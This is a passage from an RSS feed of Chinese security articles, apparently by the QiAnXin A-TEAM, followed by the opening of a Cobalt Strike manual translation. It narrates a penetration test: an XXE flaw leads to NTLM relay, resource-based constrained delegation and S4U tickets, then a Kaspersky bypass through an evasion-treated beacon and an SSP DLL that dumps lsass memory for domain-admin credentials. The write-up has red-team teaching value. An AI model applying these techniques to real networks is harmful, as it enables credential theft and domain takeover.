src="https://wechat2rss.xlab.app/img-proxy/?k=8c748b20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKJ8VNhDTZickROyD4yUMhgjJyJIbmMDOoiadMvcE1QcQgc0icD8vmwwQsw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">现在我们有了机器账户，接下来就利用基于资源的约束委派。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 20px;">基于资源的约束委派</span></h2><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">Windows Server 2012中新加入了基于kerberos资源的约束委派(rbcd)，与传统的约束委派相比，它</span> <span style="box-sizing: border-box;">不再需要域管理员对其进行配置，可以直接在机器账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置基于资源的约束委派。此属性的作用是控制哪些用户可以模拟成域内任意用户，然后向该计算机(dev1)进行身份验证。简而言之：如果我们可以修改该属性那么我们就能拿到一张域管理员的票据，但该票据只对这台机器(dev1)生效，然后拿这张票据去对这台机器(dev1)进行认证（这里只是简单描述，可能不太准确，还是那句话</span></span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">基于资源的约束委派</span></code><span style="box-sizing: border-box;font-size: 14px;">整个过程细节及其复杂，笔者也不敢说掌握全部细节）。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">现在我们开始实际操作，首先在我们的VPS上利用impacket工具包中的ntlmrelayx.py工具监听。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.08094645080946451" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1606" src="https://wechat2rss.xlab.app/img-proxy/?k=eabbfcb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKPmWXwv4Sicfj9nicKicyXtFukE6tAf18EUfiaoLFLU38PpYJu0DGSB2mjg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">然后用xxe请求我们的VPS，接着将凭据中继到域控服务器的LDAP服务上设置基于资源约束委派。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.38769230769230767" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1950" src="https://wechat2rss.xlab.app/img-proxy/?k=68a6dcaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKdECjb3ibiagPefqbUj1h0cCf9PXLibLQr6lXiaFsD7vDgwXEllYUSH0dAA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">再用s4u协议申请高权限票据。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.0773067331670823" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1604" src="https://wechat2rss.xlab.app/img-proxy/?k=bd49b318&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKqogqm4pVFvgrasOQiacf84H7TiakB4jG6HdfOlD977YibWjg7jVbwdXqw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">获得票据以后就可以直接登录WEBDAV服务器了</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.08208955223880597" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1608" src="https://wechat2rss.xlab.app/img-proxy/?k=9a8b632b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKj0N6zC3Nzk3tWDT6icAVPMdDCemHkfQeJqia1sENSpgTu89WxQqzIryg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.4460431654676259" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1390" src="https://wechat2rss.xlab.app/img-proxy/?k=323043a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKXrxVYqRKynvT3BDhwjObABEWrHBdnYqF1E4m8EpvWxiah0oWasj8srA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">整个RCE过程到此结束了，但是还没有拿下域控，渗透任务还没有结束，先上一个GIF演示整个RCE过程，接下来再讲怎么拿下域控。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.5363283416528009" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="gif" data-w="1803" src="https://wechat2rss.xlab.app/img-proxy/?k=74482b8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKqZaNkTMgfrplzUvGUyIAQeaptWia9SIyLARpvwia939LFicpictMfcZpMg%2F640%3Fwx_fmt%3Dgif"/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 20px;">卡巴斯基的对抗</span></h2><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">其实拿下域控的过程很常规，就是在WEBDAV服务器上抓到了域管理员的账户密码。但是这里难点是卡巴斯基的对抗，绕不过你就拿不到域管理员的账户密码。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">这里安装的卡巴斯基全方位防护版来进行测试。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.7325581395348837" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1204" src="https://wechat2rss.xlab.app/img-proxy/?k=be0a97cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKr0wjPWaKSMIzH4uwCuX4Fwh2ck0Hcqebiav26PE0WqiaIQX8QsicSqGpg%2F640%3Fwx_fmt%3Djpeg"/></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 18px;">1. 绕过卡巴斯基横向移动</span></h3><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在真实场景中并不会像本地环境一样顺利，当我们拿到一张高权限票据后准备对dev2机器进行pass the ticket时存在卡巴斯基怎么办呢？常规的smbexec.py会被拦截的。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.4044692737430168" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1790" src="https://wechat2rss.xlab.app/img-proxy/?k=0b528f48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKUaTQz6B3xO9QJfM1OB1eYaB4KYN6OogJUKyy5q3ib2SBK9Cndy7pFwg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">我们这里的绕过方法是用smb上传一个beacon再通过创建启动服务执行beacon全程无拦截，当然beacon.exe需要进行免杀处理。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.22112211221122113" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="2424" src="https://wechat2rss.xlab.app/img-proxy/?k=2861eed0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmK4eRnvkCRrVzJMl8gXJiaYcg8Mg7XAUQhOmQicK9v1qic2fM9DCJmNbUaQ%2F640%3Fwx_fmt%3Djpeg"/></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 18px;">2. 绕过卡巴斯基抓lsass中的密码</span></h3><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">我想最糟心的事情莫过于知道域管理员登录过这台机器，但却没有办法抓密码。下面将介绍如何解决这个问题。相信在红队行动中遇到卡巴斯基的小伙伴不少，也知道他对防止从lsass中抓取密码做的是多么的变态。即使你使用微软签名的内存dump工具也会被拦截，更不用说什么mimikatz了。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">偶然在国外大佬博客上看到了一篇通过RPC调用添加一个SSP dll的文章</span>Exploring Mimikatz - Part 2 - SSP<span style="box-sizing: border-box;">，突然醍醐灌顶，lsass自身绝对可以读自己内存呀，加载dll到lsass进程然后dump内存不是就可以绕过了？不禁感叹：站在巨人肩膀上看到的世界果然更为辽阔。</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">下载编译这个代码</span>ssp_dll.c<span style="box-sizing: border-box;"> 然后再写一个dump 进程内存的dll。</span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="1.2138888888888888" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ceee533f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKmmNSr6D8GRcsA4WiaajDCZLs5iaYa5xH8B4OaCLiccSKAF4J6E5g5EnUA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">这样就绕过了卡巴斯基dump到了lsass的内存了。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.5670103092783505" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="970" src="https://wechat2rss.xlab.app/img-proxy/?k=06ffffa4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKOmPwPR6CjvUryiac5VSacZMUa2PYVBJaZTCK0Njj1kUvVbjpmxwKFRg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">最后本地导入mimikatz的常规操作就不细说了，上几个截图。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.07970112079701121" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1606" src="https://wechat2rss.xlab.app/img-proxy/?k=6500600c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKmJu38PFrBteIPUgj2pVbrhaszAAIicv56G4Z06YKGbtdEJJFGD5AS5g%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.24166666666666667" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="720" src="https://wechat2rss.xlab.app/img-proxy/?k=6f887252&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKawc4NK1gfoKDdibGW4DWpWC6I9D80x2qaTfoic4SM8ZbRoDjzXjPgQdA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">到此是真的要结束了，有域管理员的账户密码，怎么拿下域控，我相信这个不用多说了。</span></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 24px;">0x04 总结</span></h1><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">我们回顾一下，从discuz到xxe，从xxe到域控，整个过程我们在真实的渗透过程中其实没有花费太多时间，可能得益于平时的积累。针对此次渗透，我们还是收获满满，希望你也是。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">最后的最后，我们来进行一次反思。</span></p><ol start="" style="margin-top: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">Discuz并不是无懈可击的，不要闻风丧胆，遇见就上不要怂，可能他就是你的突破口。</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">请期待我们的下一篇文章《微软不认的0day之域内本地提权-烂番茄》</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="font-size: 14px;"><span style="box-sizing: border-box;">生命不息，研究不止。如果你想加入A-TEAM，请投简历：</span>duyihan@qianxin.com</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">我们目前一共发布2篇文章，这2篇文章中可能有一些错误或者你不了解的地方，亦或是你想深入和我们探讨文章中出现的一些技术点，（修改：抱歉，群已满500人），请遵守群规：&#34;只做技术交流，拒绝相互吹捧。&#34;</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="708" data-backw="547" data-ratio="1.2952127659574468" data-s="300,640" style="width: 100%;height: auto;" data-type="jpeg" data-w="752" src="https://wechat2rss.xlab.app/img-proxy/?k=dfcac32a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKEEbicVle254gFIBDR3UstWhH5FUAGUxypj7vJnTicCwUA3PTaSpThNpQ%2F640%3Fwx_fmt%3Djpeg"/></p></li></ol><section data-role="outer" label="Powered by 135editor.com" style="font-size: 16px;"><section data-tools="135编辑器" data-id="97366"><section style="margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 25px;"><section style="width: 25px;"><img data-ratio="1" style="width: 25px;display: block;" data-type="png" data-w="59" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7171d776&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC784h7SE7l398MGvicLxK6RLwwiaICicVznm1KujBeeDpgnByicmQFxQn217N4WRbnYWwgd64YFXBI1YA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="flex: 1 1 0%;"><section data-autoskip="1" style="margin-left: 10px;flex: 1 1 0%;font-size: 14px;letter-spacing: 1.5px;text-align: left;color: rgb(30, 155, 232);">点击此处“阅读全文”获取更好的阅读体验</section><section style="border-bottom: 1px solid rgb(30, 155, 232);height: 1px;box-sizing: border-box;overflow: hidden;"><br/></section></section></section></section></section></section>



<p><a href="https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e51a5604&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2NDk0MTM5MQ%3D%3D%26mid%3D2247483670%26idx%3D1%26sn%3D1063bf299a8894f87521e8d73a687ff3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 12 Mar 2020 10:29:00 +0800</pubDate>
    </item>
    <item>
      <title>Cobalt Strike 4.0 手册——献给渗透测试人员的先进威胁战术</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&amp;mid=2247483661&amp;idx=1&amp;sn=504ac2f7b2ab6d02c83e2dd5845bafa5</link>
      <description>Cobalt Strike 是一个为对手模拟和红队行动而设计的平台，主要用于执行有目地的攻击和模拟高级威胁者的后渗透行动。本章中会概述 Cobalt Strike 的功能集和相关的攻击流程。在本手册的剩余部分中会详细的讨论这些功能。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Snowming</span> <span>2020-03-05 15:06</span> <span style="display: inline-block;"></span>
</p>

<p>Cobalt Strike 是一个为对手模拟和红队行动而设计的平台，主要用于执行有目地的攻击和模拟高级威胁者的后渗透行动。本章中会概述 Cobalt Strike 的功能集和相关的攻击流程。在本手册的剩余部分中会详细的讨论这些功能。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=04fa3cad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMEIXK6lbvRoydM5HSuXyCibTKwib0vZkEaGFQGylJsYNibS9ibgo0FOY2094akY27QS1IhFg30fqVbSg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com" style="font-size:16px;"><p style="text-align: justify;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;letter-spacing: 0.544px;color: rgb(30, 155, 232);">翻译：</span><span style="font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;text-align: left;font-size: 15px;letter-spacing: 0.544px;color: rgb(30, 155, 232);">Snowming</span><span style="font-size: 15px;letter-spacing: 0.544px;color: rgb(30, 155, 232);">@QAX A-TEAM</span></p><p style="text-align: justify;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;letter-spacing: 0.544px;color: rgb(30, 155, 232);">校对：L.N.@QAX A-TEAM</span></p><section data-tools="135编辑器" data-id="89101" style="font-size: 17px;box-sizing: border-box;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><section style="margin: 10px auto;box-sizing: border-box;"><section style="margin-right: auto;margin-left: auto;height: auto;color: rgb(102, 102, 102);text-align: center;font-size: 16px;border-style: solid;-webkit-border-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/YUyZ7AOL3onD7f6zuAgpSXdWmdYwO2zjYW0PlN5rib2ubkKIK4uYqfQseUjvmibcCHbIYSBl7GNiaZvK47HQ8hlaQ/640&#34;) 130 fill;border-width: 